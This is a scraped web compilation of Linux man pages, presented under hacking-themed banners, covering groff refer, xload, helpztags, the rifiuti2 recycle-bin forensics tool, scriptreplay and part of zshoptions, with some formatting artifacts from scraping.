Commands are contained between lines starting with .R1 and .R2. Recognition of these lines can be prevented by the -R option. When a .R1 line is recognized any accumulated references are flushed out. Neither .R1 nor .R2 lines, nor anything between them, is output.

Commands are separated by newlines or semicolons. A number sign (#) introduces a comment that extends to the end of the line, but does not conceal the newline. Each command is broken up into words. Words are separated by spaces or tabs. A word that begins with a (neutral) double quote (") extends to the next double quote that is not followed by another double quote. If there is no such double quote, the word extends to the end of the line. Pairs of double quotes in a word beginning with a double quote collapse to one double quote. Neither a number sign nor a semicolon is recognized inside double quotes. A line can be continued by ending it with a backslash “****”; this works everywhere except after a number sign.

Each command name that is marked with * has an associated negative command **no-**name that undoes the effect of name. For example, the no-sort command specifies that references should not be sorted. The negative commands take no arguments.

In the following description each argument must be a single word; field is used for a single upper or lower case letter naming a field; fields is used for a sequence of such letters; m and n are used for a non-negative numbers; string is used for an arbitrary string; file is used for the name of a file.

**abbreviate* **fields string1 string2 string3 string4
Abbreviate the first names of fields. An initial letter will be separated from another initial letter by string1, from the last name by string2, and from anything else (such as “von” or “de”) by string3. These default to a period followed by a space. In a hyphenated first name, the initial of the first part of the name will be separated from the hyphen by string4; this defaults to a period. No attempt is made to handle any ambiguities that might result from abbreviation. Names are abbreviated before sorting and before label construction.

abbreviate-label-ranges* string
Three or more adjacent labels that refer to consecutive references will be abbreviated to a label consisting of the first label, followed by string, followed by the last label. This is mainly useful with numeric labels. If string is omitted, it defaults to “
-
”.

accumulate*
Accumulate references instead of writing out each reference as it is encountered. Accumulated references will be written out whenever a reference of the form

.[ $LIST$ .]

is encountered, after all input files have been processed, and whenever a .R1 line is recognized.

**annotate* **field string
field is an annotation; print it at the end of the reference as a paragraph preceded by the line

**.**string

If string is omitted, it will default to AP; if field is also omitted it will default to X. Only one field can be an annotation.

**articles ***string *
. . . Each string is a definite or indefinite article, and should be ignored at the beginning of T fields when sorting. Initially, “a”, “an”, and “the” are recognized as articles.

*bibliography file *
. . . Write out all the references contained in each bibliographic database file. This command should come last in an .R1/
.R2
block.

**bracket-label **string1 string2 string3
In the text, bracket each label with string1 and string2. An occurrence of string2 immediately followed by string1 will be turned into string3. The default behavior is as follows.

bracket-label *([. *(.] “, "

**capitalize **fields
Convert fields to caps and small caps.

compatible*
Recognize .R1 and .R2 even when followed by a character other than space or newline.

**database *file *
. . . Search each bibliographic database file. For each file, if an index file
.i
created by

exists, then it will be searched instead; each index can cover multiple databases.

**date-as-label* **string
string is a label expression that specifies a string with which to replace the D field after constructing the label. See subsection “Label expressions” below for a description of label expressions. This command is useful if you do not want explicit labels in the reference list, but instead want to handle any necessary disambiguation by qualifying the date in some way. The label used in the text would typically be some combination of the author and date. In most cases you should also use the no-label-in-reference command. For example,

date-as-label D.+yD.y%a*D.-y

would attach a disambiguating letter to the year part of the D field in the reference.

default-database*
The default database should be searched. This is the default behavior, so the negative version of this command is more useful. refer determines whether the default database should be searched on the first occasion that it needs to do a search. Thus a no-default-database command must be given before then, in order to be effective.

**discard* **fields
When the reference is read, fields should be discarded; no string definitions for fields will be output. Initially, fields are XYZ.

**et-al* **string m n
Control use of et al. in the evaluation of @ expressions in label expressions. If the number of authors needed to make the author sequence unambiguous is u and the total number of authors is t then the last t - u authors will be replaced by string provided that t - u is not less than m and t is not less than n. The default behavior is as follows.

et-al " et al” 2 3

Note the absence of a dot from the end of the abbreviation, which is arguably not correct. (Et al[.] is short for et alli, as etc. is short for et cetera.)

**include **file
Include file and interpret the contents as commands.

**join-authors **string1 string2 string3
Join multiple authors together with strings. When there are exactly two authors, they will be joined with string1. When there are more than two authors, all but the last two will be joined with string2, and the last two authors will be joined with string3. If string3 is omitted, it will default to string1; if string2 is also omitted it will also default to string1. For example,

join-authors " and " “, " “, and "

will restore the default method for joining authors.

label-in-reference*
When outputting the reference, define the string [F to be the reference’s label. This is the default behavior, so the negative version of this command is more useful.

label-in-text*
For each reference output a label in the text. The label will be separated from the surrounding text as described in the bracket-label command. This is the default behavior, so the negative version of this command is more useful.

**label **string
string is a label expression describing how to label each reference.

**separate-label-second-parts **string
When merging two-part labels, separate the second part of the second label from the first label with string. See the description of the <> label expression.

move-punctuation*
In the text, move any punctuation at the end of line past the label. It is usually a good idea to give this command unless you are using superscripted numbers as labels.

**reverse* **string
Reverse the fields whose names are in string. Each field name can be followed by a number which says how many such fields should be reversed. If no number is given for a field, all such fields will be reversed.

**search-ignore* **fields
While searching for keys in databases for which no index exists, ignore the contents of fields. Initially, fields XYZ are ignored.

**search-truncate* **n
Only require the first n characters of keys to be given. In effect when searching for a given key words in the database are truncated to the maximum of n and the length of the key. Initially, n is 6.

**short-label* **string
string is a label expression that specifies an alternative (usually shorter) style of label. This is used when the # flag is given in the citation. When using author-date style labels, the identity of the author or authors is sometimes clear from the context, and so it may be desirable to omit the author or authors from the label. The short-label command will typically be used to specify a label containing just a date and possibly a disambiguating letter.

sort* string
Sort references according to string. References will automatically be accumulated. string should be a list of field names, each followed by a number, indicating how many fields with the name should be used for sorting. “
+
” can be used to indicate that all the fields with the name should be used. Also . can be used to indicate the references should be sorted using the (tentative) label. (Subsection “Label expressions” below describes the concept of a tentative label.)

sort-adjacent-labels*
Sort labels that are adjacent in the text according to their position in the reference list. This command should usually be given if the abbreviate-label-ranges command has been given, or if the label expression contains a <> expression. This will have no effect unless references are being accumulated.

Label expressions

Label expressions can be evaluated both normally and tentatively. The result of normal evaluation is used for output. The result of tentative evaluation, called the tentative label, is used to gather the information that normal evaluation needs to disambiguate the label. Label expressions specified by the date-as-label and short-label commands are not evaluated tentatively. Normal and tentative evaluation are the same for all types of expression other than @, *, and % expressions. The description below applies to normal evaluation, except where otherwise specified.

field
field n
The n-th part of field. If n is omitted, it defaults to 1.

string
The characters in string literally.

@
All the authors joined as specified by the join-authors command. The whole of each author’s name will be used. However, if the references are sorted by author (that is, the sort specification starts with “A+”), then authors’ last names will be used instead, provided that this does not introduce ambiguity, and also an initial subsequence of the authors may be used instead of all the authors, again provided that this does not introduce ambiguity. The use of only the last name for the i-th author of some reference is considered to be ambiguous if there is some other reference, such that the first i - 1 authors of the references are the same, the i-th authors are not the same, but the i-th authors last names are the same. A proper initial subsequence of the sequence of authors for some reference is considered to be ambiguous if there is a reference with some other sequence of authors which also has that subsequence as a proper initial subsequence. When an initial subsequence of authors is used, the remaining authors are replaced by the string specified by the et-al command; this command may also specify additional requirements that must be met before an initial subsequence can be used. @ tentatively evaluates to a canonical representation of the authors, such that authors that compare equally for sorting purpose will have the same representation.

**%**n
%a
%A
%i
%I
The serial number of the reference formatted according to the character following the %. The serial number of a reference is 1 plus the number of earlier references with same tentative label as this reference. These expressions tentatively evaluate to an empty string.

expr*****
If there is another reference with the same tentative label as this reference, then expr, otherwise an empty string. It tentatively evaluates to an empty string.

expr**+n
expr
-n
The first (
+) or last (-**) n upper or lower case letters or digits of expr. roff special characters (such as 'a) count as a single letter. Accent strings are retained but do not count towards the total.

expr**.l**
expr converted to lowercase.

expr**.u**
expr converted to uppercase.

expr**.c**
expr converted to caps and small caps.

expr**.r**
expr reversed so that the last name is first.

expr**.a**
expr with first names abbreviated. Fields specified in the abbreviate command are abbreviated before any labels are evaluated. Thus .a is useful only when you want a field to be abbreviated in a label but not in a reference.

expr**.y**
The year part of expr.

expr**.+y**
The part of expr before the year, or the whole of expr if it does not contain a year.

expr**.-y**
The part of expr after the year, or an empty string if expr does not contain a year.

expr**.n**
The last name part of expr.

expr1**~**expr2
expr1 except that if the last character of expr1 is - then it will be replaced by expr2.

expr1 expr2
The concatenation of expr1 and expr2.

expr1**|**expr2
If expr1 is non-empty then expr1 otherwise expr2.

expr1**&**expr2
If expr1 is non-empty then expr2 otherwise an empty string.

expr1**?expr2:**expr3
If expr1 is non-empty then expr2 otherwise expr3.

<expr>
The label is in two parts, which are separated by expr. Two adjacent two-part labels which have the same first part will be merged by appending the second part of the second label onto the first label separated by the string specified in the separate-label-second-parts command (initially, a comma followed by a space); the resulting label will also be a two-part label with the same first part as before merging, and so additional labels can be merged into it. It is permissible for the first part to be empty; this may be desirable for expressions used in the short-label command.

(expr)
The same as expr. Used for grouping.

The above expressions are listed in order of precedence (highest first); & and | have the same precedence.

Macro interface

Each reference starts with a call to the macro ]-. The string [F will be defined to be the label for this reference, unless the no-label-in-reference command has been given. There then follows a series of string definitions, one for each field: string **[**X corresponds to field X. The register [P is set to 1 if the P field contains a range of pages. The [T, [A and [O registers are set to 1 according as the T, A and O fields end with any of .?! (an end-of-sentence character). The [E register will be set to 1 if the [E string contains more than one name. The reference is followed by a call to the ][ macro. The first argument to this macro gives a number representing the type of the reference. If a reference contains a J field, it will be classified as type 1, otherwise if it contains a B field, it will be type 3, otherwise if it contains a G or R field it will be type 4, otherwise if it contains an I field it will be type 2, otherwise it will be type 0. The second argument is a symbolic name for the type: other, journal-article, book, article-in-book, or tech-report. Groups of references that have been accumulated or are produced by the bibliography command are preceded by a call to the ]< macro and followed by a call to the ]> macro.

Options

–help displays a usage message, while -v and –version show version information; all exit afterward.

-R
Don’t recognize lines beginning with .R1/.R2.

Other options are equivalent to refer commands.

**-a n
reverse A
n

-b
no-label-in-text; no-label-in-reference

-B
See below.

**-c **fields
capitalize fields

-C
compatible

-e
accumulate

**-f **n
label **%**n

**-i **fields
search-ignore fields

-k
label L~%a

-k field
label field
~%a

-l
label A.nD.y%a

**-l **m
label A.n+mD.y%a

**-l ,**n
label A.nD.y-n%a

**-l m,**n
label A.n+mD.y-n%a

-n
no-default-database

**-p **db-file
database db-file

-P
move-punctuation

**-s **spec
sort spec

-S
label “(A.n|Q) ‘, ’ (D.y|D)”; bracket-label " (” ) “; “

**-t **n
search-truncate n

The B option has command equivalents with the addition that the file names specified on the command line are processed as if they were arguments to the bibliography command instead of in the normal way.

-B
annotate X AP; no-label-in-reference

-B field.macro
annotate field macro
;
no-label-in-reference

Environment

REFER
If set, overrides the default database.

Files

/usr/dict/papers/Ind
Default database.

file*.i*
Index files.

/usr/share/groff/1.23.0/tmac/refer.tmac
defines macros and strings facilitating integration with macro packages that wish to support refer.

refer uses temporary files. See the

man page for details of where such files are created.

Bugs

In label expressions, <> expressions are ignored inside **.**char expressions.

Examples

We can illustrate the operation of refer with a sample bibliographic database containing one entry and a simple roff document to cite that entry.

$ cat > my-db-file %A Daniel P.& Friedman %A Matthias Felleisen %C Cambridge, Massachusetts %D 1996 %I The MIT Press %T The Little Schemer, Fourth Edition $ refer -p my-db-file Read the book .[ friedman .] on your summer vacation. <Control+D> .lf 1 - Read the book*([.1*(.] .ds [F 1 .]- .ds [A Daniel P. Friedman and Matthias Felleisen .ds [C Cambridge, Massachusetts .ds [D 1996 .ds [I The MIT Press .ds [T The Little Schemer, Fourth Edition .nr [T 0 .nr [A 0 .][ 2 book .lf 5 - on your summer vacation.

The foregoing shows us that refer (a) produces a label “1”; (b) brackets that label with interpolations of the “[.” and “.]” strings; (c) calls a macro “]-”; (d) defines strings and registers containing the label and bibliographic data for the reference; (e) calls a macro “][”; and (f) uses the lf request to restore the line numbers of the original input. As discussed in subsection “Macro interface” above, it is up to the document or a macro package to employ and format this information usefully. Let us see how we might turn

to this task.

$ REFER=my-db-file groff -R -ms .LP Read the book .[ friedman .] on your summer vacation. Commentary is available.*{*} .FS *{*} Space reserved for penetrating insight. .FE

ms’s automatic footnote numbering mechanism is not aware of refer’s label numbering, so we have manually specified a (superscripted) symbolic footnote for our non-bibliographic aside.

See also

“Some Applications of Inverted Indexes on the Unix System”, by M. E. Lesk, 1978, AT&T Bell Laboratories Computing Science Technical Report No. 69.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1455 - Linux cli command xload

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xload and provides detailed information about the command xload, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xload.

NAME 🖥️ xload 🖥️

system load average display for X

SYNOPSIS

xload [-toolkitoption …] [-scale integer] [-update seconds]
[-hl color] [-highlight color] [-remote host]
[-jumpscroll pixels] [-label string] [-nolabel] [-lights]

DESCRIPTION

The xload program displays a periodically updating histogram of the system load average.

OPTIONS

Xload accepts all of the standard X Toolkit command line options (see X(7)). The order of the options is unimportant. xload also accepts the following additional options:

-hl color or -highlight color
This option specifies the color of the scale lines.

-jumpscroll pixels
The number of pixels to shift the graph to the left when the graph reaches the right edge of the window. The default value is 1/2 the width of the current window. Smooth scrolling can be achieved by setting it to 1.

-label string
The string to put into the label above the load average.

-nolabel
If this command line option is specified then no label will be displayed above the load graph.

-lights
When specified, this option causes xload to display the current load average by using the keyboard leds; for a load average of n, xload lights the first n keyboard leds. This option turns off the usual screen display.

-scale integer
This option specifies the minimum number of tick marks in the histogram, where one division represents one load average point. If the load goes above this number, xload will create more divisions, but it will never use fewer than this number. The default is 1.

-update seconds
This option specifies the interval in seconds at which xload updates its display. The minimum amount of time allowed between updates is 1 second. The default is 10.

-remote host
This option tells xload to display the load of host instead of localhost. Xload gets the information from the rwhod database and consequently requires rwhod to be executing both on localhost and host.

RESOURCES

In addition to the resources available to each of the widgets used by xload there is one resource defined by the application itself.

showLabel (class Boolean)****
If False then no label will be displayed.

WIDGETS

In order to specify resources, it is useful to know the hierarchy of the widgets which compose xload. In the notation below, indentation indicates hierarchical structure. The widget class name is given first, followed by the widget instance name.

XLoad  xload
        Paned  paned
                Label  label
                StripChart  load

ENVIRONMENT

DISPLAY
to get the default host and display number.

XENVIRONMENT
to get the name of a resource file that overrides the global resources stored in the RESOURCE_MANAGER property.

FILES

/etc/X11/app-defaults/XLoad
specifies required resources

SEE ALSO

X(7), xrdb(1), mem(4), Athena StripChart Widget.

BUGS

On older platforms, this program may require the ability to open and read the special system file /dev/kmem. Sites that do not allow general access to this file may need to make xload belong to the same group as /dev/kmem and turn on the set group id permission flag.

Reading the load average is inherently non-portable. Therefore, the routine used to read it (get_load.c) must be ported to each new operating system.

AUTHORS

K. Shane Hartman (MIT-LCS) and Stuart A. Malone (MIT-LCS);
with features added by Jim Gettys (MIT-Athena), Bob Scheifler (MIT-LCS), Tony Della Fera (MIT-Athena), and Chris Peterson (MIT-LCS).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1456 - Linux cli command helpztags

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command helpztags and provides detailed information about the command helpztags, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the helpztags.

NAME 🖥️ helpztags 🖥️

generate the help tags file for directory

SYNOPSIS

helpztags DIRS

DESCRIPTION

helpztags scans given directories for *.txt and *.txt.gz files. Each file is scanned for tags used in vim help files. For each directory proper tags file is generated.

There should be at least one directory given. In other case program exits with error.

AUTHORS

Written by Jakub Turski and Artur R. Czechowski based on idea contained in vim sources for its :helptags command.

REPORTING BUGS

Please use a Debian reportbug command or procedure described at http://bugs.debian.org/.

SEE ALSO

Read :help helptags in vim for detailed information about helptags.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1457 - Linux cli command rifiuti2

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rifiuti2 and provides detailed information about the command rifiuti2, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rifiuti2.

SYNOPSIS

rifiuti or rifiuti-vista [-hv]

rifiuti [-x | [-n] [-t delim]] [-z] [-l codepage] [-o outfile] filename

rifiuti-vista [-x | [-n] [-t delim]] [-z] [-o outfile] file_or_directory

DESCRIPTION

Rifiuti2 analyse recycle bin files from Windows. Analysis of Windows recycle bin is usually carried out during Windows computer forensics. Rifiuti2 can extract file deletion time, original path and size of deleted files and whether the deleted files have been moved out from the recycle bin since they are trashed.

Rifiuti2 supports a wide range of Windows versions, from Windows 95 to Windows 10. The command used for analysis depends on the version of Windows producing the recycle bin (not the version of users’ system!), which uses vastly different format before and after Vista:

rifiuti-vista
For Vista or later, which is located in

\$Recycle.bin\<SID>\.

Each deleted file has its own accompanied index file remembering the original path, file size and deletion time. If original file is permanentsly deleted, so is the index file.

rifiuti
For Windows 95 to XP/2003, which uses a single index file named INFO2 (98 or above) or INFO (95 and NT4) under either

\RECYCLED\

(FAT 16/32) or

\RECYCLER\<SID>\

(NTFS). This file keeps track record for deletion status and info for all deleted items, including those permanently removed or restored.

By default, both programs dump tab-delimited fields on screen, which can be viewed on screen or imported into spreadsheet program. -x option instructs program to dump XML formatted content instead.

Since 0.7.0 version, rifiuti2 output is in UTF-8 encoding only, including the case of writing file under Windows.

Index field has different meaning for pre-Vista and post-Vista versions. INFO2 has an index number for each of deletion item indicating the chronological order of items. For Vista version, it means the index file name instead, which matches pattern “$Ixxxxxx.<ext>”, where x is random alphanumeric character, and <ext> matches the extension of original deleted item.

Deleted time is represented in UTC time by default. Under tab-delimited mode, date/time is presented in format recognized by spreadsheet programs, while in XML mode ISO 8601 date/time format is used. For example, 3PM at 2014 X’mas represented in these modes would be respectively:

2014-12-25 15:00:00
2014-12-25T15:00:00Z

File size and file path are self-explanatory, but there are some special issues to take care about. Refer to CAVEATS section below for more detail.

OPTIONS

-o, –output=FILE
Write output to FILE.

-x, –xml
Output in XML format instead of tab-delimited values. With XML mode, all plain text options are disallowed, and result is always in UTF-8 encoding. See below for plain text options.

-l, –legacy-filename=CODEPAGE
Show legacy filename if available (like “D:\Progra~1\”), and specify the CODEPAGE used in the Windows system producing this INFO2 file. Any encodings supported by iconv(1) can be used, though for maximum accuracy of file name results, it is better to stick with Microsoft codepages (such as CP850 or CP1252 for west European version, CP932 for Japanese, etc).

Note: This option is mandatory if INFO2 file is created by Windows 95, 98 or ME, since recycle bins under these OS don’t contain Unicode file name. This option does not exist in rifiuti-vista.

-z, –localtime
Present deletion time in numeric time zone of local system running the program. By default, UTC time is displayed, which is the time value recorded in index files. Using the X’mas example above, the time for Berlin (without daylight saving time) would be 2014-12-25T16:00:00+0100 in ISO 8601 format.

Note: It is possible to use any timezone of users’ choice by setting $TZ environment variable, though not recommended. See ENVIRONMENT VARIABLE section below.

PLAIN TEXT OUTPUT OPTIONS

-t, –delimiter=STRING
String to use as delimiter (TAB by default). Other than normal characters, several escape sequences are also recognised:
(carriage return)
(line feed)
(tab)
 (escape)

-n, –no-heading
Don’t show recycle bin path name, metadata and field headers

-8, –always-utf8
(Option deprecated since 0.7.0 version)

MISCELLANEOUS OPTIONS

-v, –version
Print version information and exit.

-h, –help
Show help options and exit.

–help-all
Show all help options and exit.

–help-text
Show plain text output options and exit.

EXAMPLES

`rifiuti-vista -x -z -o result.xml

1458 - Linux cli command scriptreplay

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command scriptreplay and provides detailed information about the command scriptreplay, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the scriptreplay.

NAME 🖥️ scriptreplay 🖥️

play back typescripts, using timing information

SYNOPSIS

scriptreplay [options] [-t] timingfile [typescript [divisor]]

DESCRIPTION

This program replays a typescript, using timing information to ensure that output happens in the same rhythm as it originally appeared when the script was recorded.

The replay simply displays the information again; the programs that were run when the typescript was being recorded are not run again. Since the same information is simply being displayed, scriptreplay is only guaranteed to work properly if run on the same type of terminal the typescript was recorded on. Otherwise, any escape characters in the typescript may be interpreted differently by the terminal to which scriptreplay is sending its output.

The timing information is what script(1) outputs to file specified by –log-timing.

By default, the typescript to display is assumed to be named typescript, but other filenames may be specified, as the second parameter or with option –log-out.

If the third parameter or –divisor is specified, it is used as a speed-up multiplier. For example, a speed-up of 2 makes scriptreplay go twice as fast, and a speed-down of 0.1 makes it go ten times slower than the original session.

OPTIONS

-I, –log-in file

File containing scripts terminal input.

-O, –log-out file

File containing scripts terminal output.

-B, –log-io file

File containing scripts terminal output and input.

-t, –timing file

File containing scripts timing output. This option overrides old-style arguments.

-T, –log-timing file

This is an alias for -t, maintained for compatibility with script(1) command-line options.

-s, –typescript file

File containing scripts terminal output. Deprecated alias to –log-out. This option overrides old-style arguments.

-c, –cr-mode mode

Specifies how to use the CR (0x0D, carriage return) character from log files. The default mode is auto, in this case CR is replaced with line break for stdin log, because otherwise scriptreplay would overwrite the same line. The other modes are never and always.

-d, –divisor number

Speed up the replay displaying this number of times. The argument is a floating-point number. It’s called divisor because it divides the timings by this factor. This option overrides old-style arguments.

-m, –maxdelay number

Set the maximum delay between updates to number of seconds. The argument is a floating-point number. This can be used to avoid long pauses in the typescript replay.

–summary

Display details about the session recorded in the specified timing file and exit. The session has to be recorded using advanced format (see script(1) option –logging-format for more details).

-x, –stream type

Forces scriptreplay to print only the specified stream. The supported stream types are in, out, signal, or info. This option is recommended for multi-stream logs (e.g., –log-io) in order to print only specified data.

-h, –help

Display help text and exit.

-V, –version

Print version and exit.

EXAMPLES

% script –log-timing file.tm –log-out script.out Script started, file is script.out % ls <etc, etc> % exit Script done, file is script.out % scriptreplay –log-timing file.tm –log-out script.out

AUTHORS

The original scriptreplay program was written by

The program was re-written in C by

and

COPYRIGHT

Copyright © 2008 James Youngman

Copyright © 2008-2019 Karel Zak

This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

Released under the GNU General Public License version 2 or later.

SEE ALSO

script(1), scriptlive(1)

REPORTING BUGS

For bug reports, use the issue tracker at <https://github.com/util-linux/util-linux/issues>.

AVAILABILITY

The scriptreplay command is part of the util-linux package which can be downloaded from Linux Kernel Archive <https://www.kernel.org/pub/linux/utils/util-linux/>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1459 - Linux cli command zshoptions

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command zshoptions and provides detailed information about the command zshoptions, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the zshoptions.

NAME 🖥️ zshoptions 🖥️

zsh options

SPECIFYING OPTIONS

Options are primarily referred to by name. These names are case insensitive and underscores are ignored. For example, `allexport’ is equivalent to `A__lleXP_ort'.

The sense of an option name may be inverted by preceding it with `no’, so `setopt No_Beep’ is equivalent to `unsetopt beep’. This inversion can only be done once, so `nonobeep’ is not a synonym for `beep’. Similarly, `tify’ is not a synonym for `nonotify’ (the inversion of `notify’).

Some options also have one or more single letter names. There are two sets of single letter options: one used by default, and another used to emulate sh/ksh (used when the SH_OPTION_LETTERS option is set). The single letter options can be used on the shell command line, or with the set, setopt and unsetopt builtins, as normal Unix options preceded by `-'.

The sense of the single letter options may be inverted by using `+’ instead of `-’. Some of the single letter option names refer to an option being off, in which case the inversion of that name refers to the option being on. For example, `+n’ is the short name of `exec’, and `-n’ is the short name of its inversion, `noexec'.

In strings of single letter options supplied to the shell at startup, trailing whitespace will be ignored; for example the string `-f ’ will be treated just as `-f’, but the string `-f i’ is an error. This is because many systems which implement the `#!’ mechanism for calling scripts do not strip trailing whitespace.

It is possible for options to be set within a function scope. See the description of the option LOCAL_OPTIONS below.

DESCRIPTION OF OPTIONS

In the following list, options set by default in all emulations are marked <D>; those set by default only in csh, ksh, sh, or zsh emulations are marked <C>, <K>, <S>, <Z> as appropriate. When listing options (by `setopt’, `unsetopt’, `set -o’ or `set +o’), those turned on by default appear in the list prefixed with `no’. Hence (unless KSH_OPTION_PRINT is set), `setopt’ shows all options whose settings are changed from the default.

Changing Directories

AUTO_CD (-J) If a command is issued that can’t be executed as a normal command, and the command is the name of a directory, perform the cd command to that directory. This option is only applicable if the option SHIN_STDIN is set, i.e. if commands are being read from standard input. The option is designed for interactive use; it is recommended that cd be used explicitly in scripts to avoid ambiguity.

AUTO_PUSHD (-N)
Make cd push the old directory onto the directory stack.

CDABLE_VARS (-T)
If the argument to a cd command (or an implied cd with the AUTO_CD option set) is not a directory, and does not begin with a slash, try to expand the expression as if it were preceded by a `~’ (see the section `Filename Expansion’).

CD_SILENT
Never print the working directory after a cd (whether explicit or implied with the AUTO_CD option set). cd normally prints the working directory when the argument given to it was -, a stack entry, or the name of a directory found under CDPATH. Note that this is distinct from pushd’s stack-printing behaviour, which is controlled by PUSHD_SILENT. This option overrides the printing-related effects of POSIX_CD.

CHASE_DOTS
When changing to a directory containing a path segment `..’ which would otherwise be treated as canceling the previous segment in the path (in other words, `foo/..’ would be removed from the path, or if `..’ is the first part of the path, the last part of the current working directory would be removed), instead resolve the path to the physical directory. This option is overridden by CHASE_LINKS.

For example, suppose /foo/bar is a link to the directory /alt/rod. Without this option set, `cd /foo/bar/..’ changes to /foo; with it set, it changes to /alt. The same applies if the current directory is /foo/bar and `cd ..’ is used. Note that all other symbolic links in the path will also be resolved.

CHASE_LINKS (-w)
Resolve symbolic links to their true values when changing directory. This also has the effect of CHASE_DOTS, i.e. a `..’ path segment will be treated as referring to the physical parent, even if the preceding path segment is a symbolic link.

POSIX_CD <K> <S>
Modifies the behaviour of cd, chdir and pushd commands to make them more compatible with the POSIX standard. The behaviour with the option unset is described in the documentation for the cd builtin in zshbuiltins(1). If the option is set, the shell does not test for directories beneath the local directory (`.’) until after all directories in cdpath have been tested, and the cd and chdir commands do not recognise arguments of the form `{+|-}n’ as directory stack entries.

Also, if the option is set, the conditions under which the shell prints the new directory after changing to it are modified. It is no longer restricted to interactive shells (although printing of the directory stack with pushd is still limited to interactive shells); and any use of a component of CDPATH, including a `.’ but excluding an empty component that is otherwise treated as `.’, causes the directory to be printed.

PUSHD_IGNORE_DUPS
Don’t push multiple copies of the same directory onto the directory stack.

PUSHD_MINUS
Exchanges the meanings of `+’ and `-’ when used with a number to specify a directory in the stack.

PUSHD_SILENT (-E)
Do not print the directory stack after pushd or popd.

PUSHD_TO_HOME (-D)
Have pushd with no arguments act like `pushd $HOME'.

Completion

